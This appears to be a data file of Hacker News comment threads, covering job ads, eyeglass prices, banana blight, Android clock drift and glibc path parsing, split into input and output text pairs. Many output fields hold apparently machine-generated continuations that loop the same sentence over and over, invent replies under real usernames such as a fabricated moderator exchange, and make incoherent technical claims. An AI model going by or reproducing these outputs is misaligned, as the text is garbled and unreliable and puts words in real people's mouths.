\u25cf Product Engineers\n\nI\u2019m looking for great software engineers who are highly opinionated about the\nproducts they work on.\n\nIntercom [1] is growing exceptionally quickly [2], as we build out the\ncustomer communication platform. At the highest level, we\u2019re trying to make\nInternet business authentic and personal for everyboddy.\n\nEmail me directly at stephen@intercom.com and let\u2019s chat.\n\n[1] [https://intercom.com](https://intercom.com) [2]\n[https://breakoutlist.com/](https://breakoutlist.com/)\n\n------\nbobbykrk\nIdeamotive | Warsaw, Poland | New Business Developer | Part-Time | Remote\n\n[https://ideamotive.co/](https://ideamotive.co/)\n\nIdeamotive is a Polish software house developing web applications to clients\naround the world. We are looking for a person who will help us sell our\nservices to the most prominent markets (USA, UK, Germany, Switzerland,\nScandinavia, Israel). Our technology stack includes Ruby on Rails and React.\nOur offer is targeted to start-ups and middle size companies willing to\nmodernize their processes.\n\nApply at: newhero@ideamotive.co\n\n------\npatmcguire\nTeachable | NYC | Full Time | ONSITE | VISA\n\nTeachable lets anyone easily create and sell online courses on a beautiful,\nself-branded website. We have 7,500 active teachers (and counting), who to\ndate have made"} +{"output_text": "ins to do the work of junior devops\npeople. I was able to get the work done, but it was a lot of work.\n\n~~~\njlgaddis\n> _Twelve years ago, I hired senior sysadmins to do the work of junior devops\n> people. I was able to get the work done, but it was a lot of work._\n\nI'm not sure I'd call that \"cross-over\" but I do know that", "input_text": " give you a pretty\ndecent starter for 10, with a minimum of hassle and a minimum of bloat. Boot\nthe ISO (PXE, obviously) and off you go.\n\nEven doing the install by hand, you get a _fully_ patched basic server up and\nrunning within 10-20 minutes - the install is all off the current packages.\nAdd Samba and a few copy n pastes and you have AD joined. A few more copy n\npastes from your docs and you have an app server.\n\nI wrote this lot:\n[https://www.mediawiki.org/wiki/Intranet](https://www.mediawiki.org/wiki/Intranet)\nwhich simply assumes Ubuntu mini at the moment. I do have screenshots and\ncould put together a pretty noddy guide for that bit but I'm not sure its\nnecessary. Actually now I come to think of it, it probably is. Couple that\nwith my Ref. build and you have a domain joined, Kerberized etc app server\nwithin about an hour if you do the job by hand and are unfamiliar with the\nprocess. I can do it rather quicker.\n\nYes, the installer is a 30MB image - good. An installer's size is no\nreflection on the installation size.\n\nEDIT: I am from the sysadmin side of things and not dev ops...\n\n~~~\ndsr_\nSysadmin/devops is a nearly meaningless distinction. When a developer needs to\nwrite installation or configuration code, they cross over. When a sysadmin\nneeds to write code to monitor applications, they cross over. Senior sysadmins\nneed to write more code, senior developers need to know more about systems and\nnetworks.\n\nTwelve years ago, I hired senior sysadm"} +{"output_text": ", MySQL,\nMongoDB, Redshift, AWS, Docker, Kubernetes, Ansible, Terraform, Python,\nScala, Java, C++, C, Javascript, HTML, CSS, SQL, NoSQL, No-code, Machine\nLearning, Deep Learning, Reinforcement Learning, Reinforcement Learning,\nReinforcement Learning, Reinforcement Learning, Reinforcement Learning,\nReinforcement Learning, Reinforcement Learning, Reinforcement Learning,\nReinforcement Learning,", "input_text": " part-time engagement to help build\nyour product.\n\n\\---\n\nLocation: Europe (Berlin, Germany and Zagreb, Croatia depending on the season)\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: JavaScript (React, Redux, TypeScript, Node.js, Webpack),\nGraphQL, Ruby/Rails\n\nWebsite: [https://sinisamikulic.com](https://sinisamikulic.com)\n\nLinkedIn:\n[https://www.linkedin.com/in/sinisamikulic](https://www.linkedin.com/in/sinisamikulic)\n\nEmail: contact@sinisamikulic.com\n\n\\---\n\nSample project I co-founded \u2014 [https://movieo.me/](https://movieo.me/)\n\nI can jump on a call right away!\n\n------\nBenoitP\nMachine learning engineer, specialized in Explainable AI / ML\n\nRecent Highlights:\n\n* Implementation in Spark/Scala of treeinterpreter, currently used in production\n\n* Participation to the FICO-Google Explainable Machine Learning Challenge\n\n* Intuitive, visual data/signal explorer (work in progress, partial view at [http://explicable.ml](http://explicable.ml) (the 3D background view))\n\nLocation: Paris, France\n\nRemote: yes\n\nWilling to relocate: for the right job, yes\n\nTechnologies: SHAP, RuleFit, Random Forest, Word2Vec, PCA, t-SNE, LSH, ROC,\nScikit-Learn, Spark, Weka, Databricks, BigQuery, Hive, Postgres"} +{"output_text": "\n~~~\nAYBABTME\nI think you're missing the point.\n\nThe average color of all human skin mixed together would probably be brown.\n\nThe average color of all human skin mixed together would probably be brown.\n\nThe average color of all human skin mixed together would probably be brown.\n\nThe average color of all human skin mixed together would probably be brown.\n\nThe average color of all human skin mixed together would probably be brown.\n\nThe", "input_text": "stringfello\nwhere are the white humans? and the yellow humans? and the jet black humans?\n\nI feel like the 1 skin tone is meant to be provocative, possibly be a\ndeliberate troll, maybe start a discussion.\n\ndoes the author wish to weigh in?\n\nas a white human I feel excluded. maybe I'm attaching too much importance to\nskin tone as a part of identity. I think partly that's in our brains, partly\nit's emphasised by the media to divide us and create outrage, for power and\nengagement.\n\n~~~\nAYBABTME\nThe average color of all human skin mixed together would probably be brown.\nPicking an average of everything should be highly uncontroversial.\n\n~~~\ncoreyp_1\nNobody is average.\n\nOK, that's too short to really mean anything, so I'll elaborate. If you take\nthe average characteristics of everyone in the world (wealth, skin tone,\nintelligence, BMI, height, gender, etc.), and turned that into a single\nperson, then you would have a new, unique person. In other words, it would not\n\"represent\" anyone, and so should definitely be seen as controversial. There\nare a myriad of engineering stories about this discovery (one size doesn't fit\nall).\n\nIf anything, I would have loved to see more diversity, or at the very least a\nprominent message on how to achieve it. Color might be the easiest change to\nmake, but I didn't see any old or fat people on there, or how to make those\nvariations.\n\nI like the overall idea of the project, though.\n\n \nShow HN: Painless CSS: Learn CSS from First Principles - Kortaggio\nhttps://www.painlesscss.com/\n"} +{"output_text": " the day.\n\nLesson: if you're going to hire a team, make sure they have a good\nunderstanding of software engineering and how to write maintainable code.\n\n------\njoshstrange\nI've been in a similar situation. I was hired as a contractor to work on a\nproject that was already in production. I was given a project manager and\nproject lead and told to go to work. I was given a project manager and project\nlead and", "input_text": " long team members have been with the organization, to\ntactfully get a sense of turnover. At a young company you might ask how team\ncame together: was it through past working relationships and friendships? or\nthe internet equivalent of putting an ad in the paper?\n\n------\nlnanek2\nThat happened to me recently. Everyone seemed great during the interview\nprocess, but the company was a disaster.\n\nOnce I got in the door I found out all the code was originally produced from\noutsourcing in Russia. So it had no comments and it had layer after layer\nafter layer of unneeded abstraction. So figuring out the behavior on an error\nin the BLE back end communicating with a fitness tracker required tracing\nthrough half a dozen unneeded classes like screen config beans, screen states,\nthe fragment state generators, to to error codes, to error messages, to\nfragment subclasses, to flow subclasses, to activity subclasses. All with\nif/else's for special conditions jammed everywhere even in things that should\nbe mindless DTOs and many parts never actually used and deep inheritance\nhierarchies. It could all have been easily done with 40 classes instead of\n120, with much simpler, more reliable code.\n\nLesson: ask the company about outsourcing history and plans.\n\nSoftware engineering has known for a long time that abstraction over\ncomposition really hurts maintainability and reliability, but clearly this\ncompany never heard of that. Normally this sort of thing is fixable, but the\ncouple staff developers they had brought in tended to just write whatever they\nthought would work, shove it into the app, then call it a day, not even smoke\ntesting, let alone writing unit tests. Developers frequently pushed code that\ndidn't even work in real testing on a device then left for"} +{"output_text": "~~~\ncloseparen\nI don't think that's the case. I think the problem is that the cost of\nrestaurants is rising faster than the demand for them.\n\n~~~\nxyzzyz\nI don't think that's the case either. I think the problem is that the cost of\nrestaurants is rising faster than the demand for them.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\n", "input_text": " location they want at a price that's\ncompetitive.\n\nAs long as plenty of other restaurants are managing to pay their staff enough\nso that they'll commute... and it doesn't seem like restaurants are\ndisappearing from SF... then isn't this just the case of a bad business plan,\nor product-market-mistmatch, for this one particular restaurant?\n\n~~~\nstaticautomatic\nThere are somewhat hard limits on the availability of labor though. I know a\nguy who owns a very popular and expensive restaurant that had to start closing\none day a week because he couldn't find enough staff, and not because he pays\nthem peanuts.\n\n~~~\nMikeb85\n> not because he pays them peanuts\n\nNot paying peanuts still doesn't mean it's enough.\n\n~~~\nTheSpiceIsLife\nBut if customers pay in peanuts and you have to offer staff cashew or\nmacadamias to attract enough skilled employees, you might find you have a non-\nviable business.\n\n~~~\nThriptic\nThis is my general response whenever these types of articles appear. If your\nlabor costs are insanely high, you need to raise prices. If people won't pay\nmore for your products, you need to create better products worth more money,\ngive staff equity and reduce profit, or shut down.\n\n~~~\ncloseparen\nThese types of articles are based on the assumption that we would like to\ncontinue having restaurants & the fact that they are (slowly) becoming\neconomically nonviable is a social problem.\n\n~~~\nxyzzyz\nIf rising prices reduced the demand so much that they become economically\nnonviable, then it means that we actually don't like having restaurants all\nthat much, otherwise we'd pay.\n\n"} +{"output_text": " a great example of this.\n\n------\njoshu\nI think the problem is that the network effect is not a good thing.\n\n------\njoshu\nI think the problem is that the network effect is not a good thing.\n\n------\njoshu\nI think the problem is that the network effect is not a good thing.\n\n------\njoshu\nI think the problem is that the network effect is not a good thing.\n\n", "input_text": " easier and safer than any conceivable \"multiple\ncircles\" system.\n\nFacebook's stuff lately has been butting-up against these limitation but not\novercoming them. I don't know these can be directly overcome with the \"I will\nmonetize my efforts\" approach and if they can't, it might be good.\n\n------\nnrmehta\nThought-provoking post. To me, one way to determine whether a system will have\nnetwork effects or anti-network effects is to ascertain how much of its usage\nis driven by fashion versus utility. Take email as an extreme example of the\nlatter. It's valuable because it's so universal - but it's not fashionable at\nall. It's a pure utility. So no anti-network effects (perhaps beyond spam but\nthose are less about #s of participants as behavior). I put Facebook in an\nintermediate category where it's transitioned reasonably well from fashion to\na utility, though the folks that looked at it as fashion are now getting more\nturned off by it. Indeed, the anti-network effect isn't simply about numbers -\nit's about who is coming into the network and a lost feeling of exclusivity\n(which honestly sometimes picks on very base human emotions) when the network\ngrows with certain types of people. I think twitter has moved further up the\nutility value chain than facebook has so I'd posit it's less vulnerable to\nanti-network effects (not to mention the asymmetric follow model that dalton\ntalks about).\n\n------\nSniffnoy\nI feel it is worth pointing out here that asymmetry is not original to\nTwitter. Consider e.g. LiveJournal.\n\n------\nepaik\nThis effect seems to happen commonly among news aggregating site communities.\n\nDigg used to be"} +{"output_text": " but compiles it to C#?\n\n~~~\nspitfire\nI'm not sure what you mean by \"compiled\" language.\n\nI'm talking about the language itself.\n\nI'm not sure what you mean by \"compiled\" language.\n\nI'm talking about the language itself.\n\nI'm not sure what you mean by \"compiled\" language.\n\nI'm talking about the language itself.\n\nI'm not sure what you mean by \"", "input_text": " I think that it has to do\nwith what time you post, how exciting the post sounds, and what technologies\nare being used.\n\n------\nsmeyer\n>I've been relying on just this site for finding jobs for a few months now\n\nAny particular reason you're not using anything other than this site?\n\n------\ncowpig\nIt's hard to say, because not everyone lists that they came via HN in their\napplications, but probably ~100.\n\n------\ngiaour\nI've always gotten between 0 and 2.\n\n \nIs multicore hype or reality? - iamelgringo\nhttp://embedded.com/columns/technicalinsights/205918952?pgno=1\n======\nspitfire\nThe more interesting point made in that article wasn't about multicore. But\nwas actually about the distance from the CPU that memory is from the modern\nCPU. Remember when programmers were hand counting instruction timings and code\nsize on their 386? Well that's become even more important today.\n\nIf you can get your code size into L2 (or even better L1), you can win a\nfactor of 1000x speedup. One reason why I still use a compiled language.\n\n~~~\nHexstream\n\"One reason why I still use a compiled language.\"\n\nNitpick: There's no such thing as a \"compiled\" or \"interpreted\" _language_. A\nspecific language _implementation_ (a runtime) might be more interpreted than\ncompiled or vice-versa, but even if some language traditionally only provides\ninterpreting or compiling implementations, there's nothing preventing someone\nfrom writing one in the other style, though the nature of the language might\nmake some approaches less appropriate.\n\nIsn't there this IronRuby that runs Ruby,"} +{"output_text": "fuscate my\ncode to make it harder to read\".\n\n~~~\njsmthrowaway\nI think you're overstating the case. I think the code golfers are doing it\nbecause they're trying to prove a point, and they're doing it because they're\nsmart. I think the bankers are doing it because they're trying to prove a\npoint, and they're doing it because they're smart.\n\nI think the code golfers are doing it because", "input_text": "tc1/sc22/wg21/docs/papers/2014/n399...](http://www.open-\nstd.org/jtc1/sc22/wg21/docs/papers/2014/n3994.htm)\n\n------\nrory096\n>[http://go/codegolf](http://go/codegolf)\n\nHow does this work, some sort of TLD magic? (That shouldn't be possible,\nright?) Is it just routed within Google's internal network?\n\n~~~\njsmthrowaway\nSearch paths. The full address is go.corp.google.com (which is simply a URL\nshortener), IIRC; however, I think the resolvers are also configured to\nrespond to a bare name in a lot of cases as an optimization. They talk a\nlittle bit about corp in their BeyondCorp paper[0], which is well worth a\nread, and I'm speaking to ancient memory so I might be wrong these days.\n\n[0]:\n[http://static.googleusercontent.com/media/research.google.co...](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43231.pdf)\n\n~~~\nrory096\nThanks for the link! Figured it was a bit more complex than just a host file,\nbeing Google and all.\n\n------\nplanetjones\nI watched the wolf of wall street recently. I see some of the solutions to\nthese code golf exercises as similar to the bankers who beat their chests and\ncelebrate their masculinity in selling penny stocks to gullible\ninvestors.These code golf exercises seem like the software developer\nequivalent: \"look at how brilliant and superior I am that I can ob"} +{"output_text": "tmp$ cd .\n zwp:/tmp$ cd ..\n zwp:/tmp$ cd ..\n zwp:/tmp$ cd ..\n zwp:/tmp$ cd ..\n zwp:/tmp$ cd ..\n zwp:/tmp$ cd ..\n zwp:/tmp$ cd ..\n zwp:/tmp$ cd ..\n zwp:/tmp$ cd ..\n zwp:/tmp$ cd ..\n zwp:/tmp", "input_text": "Good fix and good for sending them a merge request.\n\nI still find it kinda baffling glibc would have this behavior for a trailing\ncolon (:). Like, I know it's probably legacy/comparability, but it feels like\na security nightmare../ should be explicit, not implicit.\n\n~~~\nemmelaich\nAlso for leading colons. (but you probably knew that)\n\n------\nAceJohnny2\nMore concerning to me is that ld.so will interpret a trailing `:` in\nLD_LIBRARY_PATH to mean to include PWD.\n\nWhere is this documented? It's not indicated in ld.so's manpage:\n\n[http://man7.org/linux/man-pages/man8/ld.so.8.html](http://man7.org/linux/man-\npages/man8/ld.so.8.html)\n\nSounds like a bug in GNU's ld.so more than anything.\n\n~~~\nzwp\n> Sounds like a bug in GNU's ld.so more than anything.\n\nIt's neither unique to glibc (AIX, Solaris) nor to LD_LIBRARY_PATH (PATH), nor\ntrailing colons (leading colons, adjacent colons).\n\nThis de facto standard becomes a little more obvious when one considers a\nlikely implementation (iterating over \"strchr(arg, ':')\" or whatever). Any of\nthese sequences then will give up an empty string:\n\n \n \n PATH=:/foo\n PATH=/foo:\n PATH=/foo::/bar\n \n\nAnd an empty string is equivalent to dot for chdir(2).\n\n \n \n zwp:/tmp$ cd ''\n zwp:/"} +{"output_text": "/item?id=11162577)\nand marked it off-topic.\n\n~~~\nkibwen\nI'm sorry if I've been unclear, but I'm not sure what you're asking me to do.\nI'm not sure what you mean by \"neutral statements\" and \"specific factual\nstatements\".\n\n~~~\ndang\nI'm asking you to stop being inflammatory and vague.\n\n~~~\nkibwen\nI'm not sure what you", "input_text": " to security depends on an ecosystem that follows the same\napproach. To think that this is more than an utopic dream is to enter cuckoo-\nland in my opinion. So we digress back to the castles-built-on-top-of-sand.\n\nThere's millions of lines of code written in unsafe languages plus all\nmainstream operating systems. The Rust approach will never work in this sort\nof environment.\n\nAn approach that _might_ work however is unikernels and using a language that\npromotes design with failures in mind [and makes it extremely easy to rapidly\nrearchitect/rebuild/redeploy]. Erlang is the best example in my view, but\nthere could be more.\n\nAlas, Rust is not really suitable for this either due to its static nature.\n\n~~~\ndang\nYour comments in this thread have been inflammatory, condescending, and vague.\nThat amounts to trolling, whether you intended to or not. You've done it quite\na bit in previous threads, too, which is not good. Please don't do this on HN.\n\nHere is how to stop: (1) take out everything inflammatory (\"It boggles the\nmind how utterly misguided\", etc.) and make neutral statements instead; (2)\ntake out the personal language (\"you just don't get it\", etc.); (3) replace\nvague grand claims with specific factual statements.\n\nIf you do this, you'll not only no longer be breaking the HN guidelines,\nyou'll also be sharing what you know more effectively, which benefits all of\nus.\n\nWe detached this subthread from\n[https://news.ycombinator.com/item?id=11162577](https://news.ycombinator.com"} +{"output_text": "i\nI'm not sure I agree with the author's conclusion. I think the internet has\nbeen a net positive for society, and I think it's a mistake to think of it as\na \"walled garden\".\n\n------\nmatt_the_bass\nI think the author is missing the point. The internet is a tool. It is not\nthe end all be all. It is a tool that can be used for good or bad.\n\n------\n", "input_text": " to them via the technology he suggest\nthey spurn.\n\nA very unrealistic assumption.\n\n------\npatcon\n> I live in a world without Facebook, and now without Twitter. I manage to\n> survive too without Kiki, Snapchat, Viber, Telegram, _Signal_ and the rest\n> of them. _I haven\u2019t yet learned to cope without iMessage and SMS._\n\nI respect what he's getting at, but this is all sorts of backwards for someone\nwho wrote an earlier paragraph about escaping the eye of advertisers (and\npresumably surveillance)\n\n------\ntmaly\nI like his spin on it. The internet has become a ton of noise and walled\ngardens. I initially dropped off the social media platforms, but then I re-\njoined under anonymous names.\n\nDuring my off-grid time, I found I was more productive in terms of thinking\nand getting my side projects done.\n\nI was able to read more paper books as well as just enjoy life and nature.\n\n------\nFreak_NL\n\n Logan\u2019s Run, Zardoz, Soylent Green, Fahrenheit 451\n \n\nLovely films. Something about the pacing or the cinematography of the films\nfrom that era appeals to me.\n\nAh\u2026 Zardoz\u2026 Nothing beats Sean Connery running around in weird sci-fi shorts.\nAlso, Beethoven.\n\n------\nFalcon9\n\"They couldn\u2019t force me to have an online presence after all.\"\n\nRead your terms of enlistment, soldier. They can and they do.\n\n------\nkbart\nRants away (though I agree with some points), it's a nice summary of Internet\nhistory.\n\n------\nsanol"} +{"output_text": " the code, but I would guess that the problem is that the\ncalculation of the time is done in a way that is not easily changed.\n\nThe time is calculated by adding the time of the last GPS fix to the time of\nthe last network fix. The GPS fix is calculated by adding the time of the last\nGPS fix to the time of the last network fix. The network fix is calculated by\nadding the time of the last network fix to the time of the", "input_text": " lots of Android phones is more\nseriously broken than this. For AlpineReplay (app that tracks skiers and\nsnowboarders) we routinely get visits that happen in the future. GPS timing is\noften off by 24 hours, 12 hours. Most common on Samsung phones but we've found\nit on HTC and LG as well.\n\n------\nsp332\nIt's not _just_ GPS. Any time source that has added the \"leap seconds\" will be\nmisinterpreted by Android, because Android doesn't compensate for leap\nseconds. So if your cellular network or other time server has leap seconds,\nyour Android phone will be wrong even it never sets the clock via GPS.\n\n------\nchulett\nThe site says \"Tyson talks about the issue at the 15m 20s mark\" but it's\nactually at 56m 20s.\n\n------\nInclinedPlane\nThis is really odd, I'd expect on a cdma network for the clock to of necessity\nbe slaved to the network clock, seeing as that is required to be in the\nnetwork. Is there another internal clock or some other mode of operation going\non?\n\n~~~\nJoshTriplett\nCDMA radios do that internally.\n\n------\nkelnos\n_It seems like an easy bug to fix..._\n\nPeople who haven't looked at the code aren't allowed to suggest that. Period.\n\n _... so I\u2019m surprised it\u2019s been ignored for so long._\n\nBecause 15 seconds doesn't really matter in any practical sense? Pretty much a\nnon-story.\n\n~~~\njamesaguilar\nDisagree. If something like this is hard to fix, there is something wrong with\nthe way the code is designed.\n\n~~~\nSomeone\nI do not know"} +{"output_text": "blight-\nthreatens-the-world-s-most-popular-drink)\n\n------\njlebrech\nI'm not sure if it's a good idea to have a plant that can be used as a\nfertiliser.\n\n~~~\njlebrech\nI'm not sure if it's a good idea to have a plant that can be used as a\nfertiliser.\n\n------\njlebrech\nI'm not", "input_text": " complete solution. Other banana cultivars don't have the same\nproperties, and breeding a replacement dessert banana that is resistant, and\nthen spreading that cultivar (and hoping that it too doesn't fall prey) is not\na trivial undertaking.\n\nIf a GMO solution can save the existing cultivars, which have established\nconsumers, it's a better approach. Since all bananas are grown using\nmonoculture grafting (because we long ago bred the seeds out), it's not as\neasy to produce new cultivars as with other fruits.\n\n------\nArmandGrillet\nRelated to the topic, I highly recommend this short documentary about the\nCavendish banana and the deadly fungus affecting it:\n[https://youtu.be/YkI3zkQ4WBo](https://youtu.be/YkI3zkQ4WBo)\n\n------\njjeaff\nIs the worry that they will just go away overnight all at once, but it just\nhasn't happened yet? Because the current price of bananas sure doesn't\nindicate a shortage.\n\n------\nthelittleone\nBananas are an important staple with many potential uses. A guy in Bali came\nup with a process that makes flour from green bananas. The resulting bread\nproducts are delicious. Far better than regular gluten free bread and better\nthan regular bread for toast (amazing crispiness). Lots of cafes are using\nthis bread to satisfy the ever growing hippie tourism trade.\n\n------\ncarapace\nCoffee is also having some problems:\n[https://www.csmonitor.com/World/Americas/2013/0605/Coffee-\nbl...](https://www.csmonitor.com/World/Americas/2013/0605/Coffee-"} +{"output_text": "\" glasses (one for the\n> office, one for the home office, one for the other home office!).\n\nI don't know if you are joking or not, but that is a lot of money for a pair\nof glasses.\n\n~~~\npedasmith\nI'm not joking. I'm not sure if it's a lot of money for a pair of glasses, but\nit's a lot of money for a pair of glasses that are not prescription.\n\n", "input_text": "30m. Price (lens + frame) is\ncomparable to Warby Parker.\n\n~~~\nkalleboo\nI live in Japan where they originate from and they have stores all over the\ncountry. All my glasses have been from them, zero complaints, super cheap,\ngood service too (you can drop in to any of their stores whenever to get\nthings adjusted, lost nosepads replaced, etc for free which is hard to do with\nan online vendor)\n\n------\ndr_\nWhy would Versace, Chanel, Burberry etc which are considered luxury brands,\nall of the sudden sell discounted frames? They have extensive markups on all\nof their clothing, handbags etc. They are targeting a different, and I would\nimagine dwindling, market.\n\nThere are plenty of options online and offline for cheaper frames.\n\n------\npedasmith\nI dipped my toe into the \"online glasses\" market -- and let me say it's a\ngame-changer. The eyeglass store wanted about $300 per frame, meaning that I'd\ngrudgingly get one pair.\n\nThe online purchase was only $75 for high-end frames and coatings, plus $27\nfor three pairs of prescription \"computer monitor\" glasses (one for the\noffice, one for the home office, one for the other home office!). And by\nhaving more pairs, I can bring a pair on trips, just in case the main ones get\nbroken!\n\n(Personally, I've also never had any useful help in picking out frames. I'm\nnot very fashion conscious, and every time the help doesn't seem to want to\nactually help be find frames that would look good on my face)\n\n~~~\n1996\n> $27 for three pairs of prescription \"computer monitor"} +{"output_text": " the worst.\n\n------\njoshu\nI would say that you should be looking for a new job.\n\nI would also say that you should be looking for a new job.\n\nI would also say that you should be looking for a new job.\n\nI would also say that you should be looking for a new job.\n\nI would also say that you should be looking for a new job.\n\nI would also say that you should be looking for", "input_text": " It is important to have the walk away plan as your\nBATNA when negotiating.\n\n~~~\nconfluence\nThis is the crux of negotiating. The person with more options has more power.\nThere's really only one way to get a raise: pay me X or I walk. If yay, good,\nif nay, walk.\n\n~~~\nsemi-extrinsic\nA subtle way to reinforce your words is drawing on the famous million-dollar\nAmdahl coffee cup:\n\n[http://dealwhisperers.blogspot.com/2015/07/a-million-\ndollar-...](http://dealwhisperers.blogspot.com/2015/07/a-million-dollar-\ncoffee-cup.html)\n\nIn this case, find a friend at Google/Apple/whatever and ask them if you can\nhave some employee-only branded stuff.\n\n------\ndood\nYou don't have to make a big decision right away, but those are certainly\nsignals that the decision may be made for you in the next few months if you\nare unlucky.\n\nI'd certainly start the usual job-hunting process: updating my CV, mentioning\nto friends that I may be open to a new position, breaking out the ol'\nwhiteboard for algorithm interview practice, going to meetups etc.\n\nAlso, prepare yourself for being laid-off, financially and mentally. It sucks,\nbut it's the reality of startup life.\n\nDon't worry about questioning the founders - it's their job to be upbeat and\noptimistic to get the best result for their startup, but it's your\nresponsibility to look after your career. But that doesn't necessarily mean\ngiving up the day job - hope for the best, prepare for"} +{"output_text": " and\nthen I realized that I was using the wrong prescription.\n\nI'm now using a pair of progressive bifocals. I can see the screen perfectly\nwithout having to strain my eyes. I can also see the screen perfectly with my\ndistance glasses on.\n\nI'm not sure if I'll ever need to get progressive bifocals again, but I'm glad\nI got them now.\n\n~~~\n1996\nI have a pair of progressive bifocals too", "input_text": " tortoiseshell plastic abominations. If you want nice metal\nframes, they have a small selection, and the prices aren't that great.\n\nI normally buy two pairs of glasses at once (one for distance, one computer-\nspecific). I'll probably soon start buying a third pair, progressive bifocals.\nI'm now wondering at what point it will literally be cheaper to fly overseas\nto get them made. I may in fact have already crossed that line.\n\nThe only reason I ever use Lens Crafters is when I need glasses same-day due\nto an emergency. Just last month, I broke my glasses a few days before an\nextended overseas trip. If I hadn't been going to the Cayman Islands (where\neverything is more expensive), I'd have waited until arrival to get them made.\n\nIt's unfortunate that most optometrists have a two-week turnaround on new\nglasses. For all I know, they're going through the same Luxottica monopoly\ntoo, but at least I avoid Lens Crafters. Their quality is absolute shit;\npoorly-ground lenses, shitty coatings that scratch easily and bubble up. It's\nprobably intentional, so that you're forced to return less than a year later\nfor new glasses.\n\nI've heard good things about Costco, but I don't have access to one.\n\n~~~\n1996\n> one for distance, one computer-specific\n\nHow do you find the correction for the computer specific glass?\n\nI have a pair for distance but it is a horror to use with computers.\n\n~~~\ncaymanjim\nLife-changing. I should have gotten them decades ago. I had no idea how much I\nwas straining my eyes trying to use distance glasses for the computer,"} +{"output_text": "etwork is not that much of a\nproblem.\n\n~~~\ntraviscj\nI think you're right. I was thinking of the fingerprinting done by the\nbrowser, not the ad networks.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. I'm not sure I agree with\nthe author's premise that \"the web is broken\" and that \"we need to fix it\".\n\nI think the web is", "input_text": " app that's phoning home._\n\nWhat's your threat model? Mine is third-party tracking cookies, and desktop\napps don't share my browser's cookie jar. So while technically I can be\ntracked by IP from a desktop app, Facebook can't tell if it's me or someone\nelse at the same coffee shop.\n\nIn particular, one nice thing about Chrome extensions is that they _don 't_\napply to incognito windows. I regularly use HTTPS Everywhere in block-all-\nHTTP-requests mode + an incognito window on wifi connections I don't trust,\nbecause the incognito window will permit plaintext requests, but it doesn't\nread my cookies or write to my cache, so it's sandboxed from my actual web\nbrowsing. I can safely read some random website that doesn't support HTTPS\nwith my only concern being my own eyes reading a compromised page; none of my\nlogged-in sessions are at risk.\n\n> _any software dependency library that you install without properly checking\n> if it's got some social media tracking engine built in._\n\n... is this a thing? (I totally believe that it's becoming a thing, I just\nhaven't seen it yet and am morbidly curious.)\n\n~~~\ntraviscj\nBrowser fingerprinting is an easy path toward a \u201cstronger than ip\u201d\ncorrelation. [1] is an interesting starting point.\n\n1: [https://panopticlick.eff.org](https://panopticlick.eff.org)\n\n~~~\nchopin\nThat works only with JavaScript active which uMatrix blocks for 3rd party. The\nsites one visits mainly are not known for 1st party fingerprinting (that's\nmainly done by the ad networks). The extra paran"} +{"output_text": "rob\nI'm not sure I understand the point of this article. The author seems to be\nsaying that the founders of Justin.tv are not the right people to run a\nstartup. I don't think that's true.\n\n~~~\njasonlbaptiste\nI think the point is that they are not the right people to run a startup.\n\n~~~\njohnrob\nI don't think that's true either. I think the point is that they are", "input_text": "67%, _but_ that is\n67% post-money, and the total value of the stake will be the same). Then the\ncompany could allocate 50 shares to an option pool for their founders. That\ndilutes Justin.tv's stake down to 50%. Nobody has to give anything up--the\ninvestors are putting in money, and the options are a form of employee\ncompensation.\n\n~~~\ncallmeed\nI don't quite follow.\n\nThe investors _in Justin.tv_ now own a smaller share (or none) of SocialCam,\nright? How is this allowed (without approval)? And who would approve it if\ngrowth is good?\n\n~~~\ndrusenko\nThat's certainly one way to paint the picture. Most of investing, though, is\ntrying to grow the pie, not necessarily focusing on your specific piece.\n\nI've been on the founder side (trying to convince investors to spin off a new\ncompany) and the pitch goes like this: Before, you had an ownership stake in 1\ncompany with two products. After, you have an ownership stake in 2 companies.\nBoth of these companies are out to grow, raise money and exit in their own\nright, and have teams solely devoted to hitting a home run. From that\nperspective, you could argue that you now own more than you did before,\nessentially by growing the pie.\n\n------\ntmcneal\nJustin.tv's strategy of using their video-hosting infrastructure to\naggressively pursue verticals within the video watching/sharing/hosting space\nis working out really well. They seem to have a knack for identifying how\npeople use video and streaming on the web, and are creating products that\nserve the specific needs of each group.\n\n------\njohn"} +{"output_text": ", MatLab.h,\nMatLab.c, MatLab.cpp, MatLab.mex, MatLab.mexa64, MatLab.mexa64.dll, MatLab.mexa64.dll.a,\nMatLab.mexa64.dll.lib, MatLab.mexa64.dll.exp, MatLab.mexa64.dll.exp.a,\nMatLab.mexa64", "input_text": " maximizing benefit\nto the public good. I understand your point about follow-on research, and I'm\nnot saying that I'd expect the code and data to be made available immediately\nwith publication, but that deserves to be the case some reasonable time\nafterward (like a year). I understand that researchers' incentives are not\nnecessarily aligned toward making it public; I am saying that people who fund\nresearch (including taxpayers through the political process) should require\nand expect it. Keeping it private indefinitely is a degree of self-\ncenteredness that does not strike an appropriate balance between benefit to\nthe researcher and to the public in my opinion.\n\n~~~\naub3bhat\nI never understood the meme about \"public funding\" translating into \"public\ndomain\". Just because research is \"publicly funded\", does not means that the\n\"public\" owns it or even has a right to ownership. Public education is\npublicly funded does not means that government can ask for every drawing drawn\nby 9 year old in classroom to be in the public domain :). In fact its\nactually opposite\n([https://en.wikipedia.org/wiki/Bayh%E2%80%93Dole_Act](https://en.wikipedia.org/wiki/Bayh%E2%80%93Dole_Act)),\ngiven that Universities can and do patent inventions from publicly funded\nresearch.\n\nFurther funding arrangements themselves are very complex, a professor\ntypically procures funding from University, NSF, NIH, private companies,\ndonors etc. In such cases if NSF adopts a hard line approach that any research\ntouching its dollars ought to release code under say GPL, it would make it\nimpossible to collaborate. Finally all requirements aside, one can always\nrelease intentionally poorly written code in form of MatLab.m"} +{"output_text": " is not working.\n\n------\ndmschulman\nI'm getting the same error as the OP. I'm not sure if it's related to the\noutage or not.\n\n------\ndmschulman\nI'm getting the same error as the OP. I'm not sure if it's related to the\noutage or not.\n\n------\ndmschulman\nI'm getting the same error as the OP. I'm not sure", "input_text": " the FCCs new proposed rules?\n======\ndoctorshady\nLast I checked an FCC proceeding on Friday it worked. Not so much right now,\nthough. I just get an error saying \"Cannot open connection\" after a long\npause.\n\nMy suspicion is someone might be ddosing it out of outrage, but it could just\nas easily be their own problems. The commenting system did stop working once\nin February or so.\n\nEDIT: Their main site seems to be up, so I assume it's not anything shady.\n\n~~~\ndmschulman\nYeah, I should have 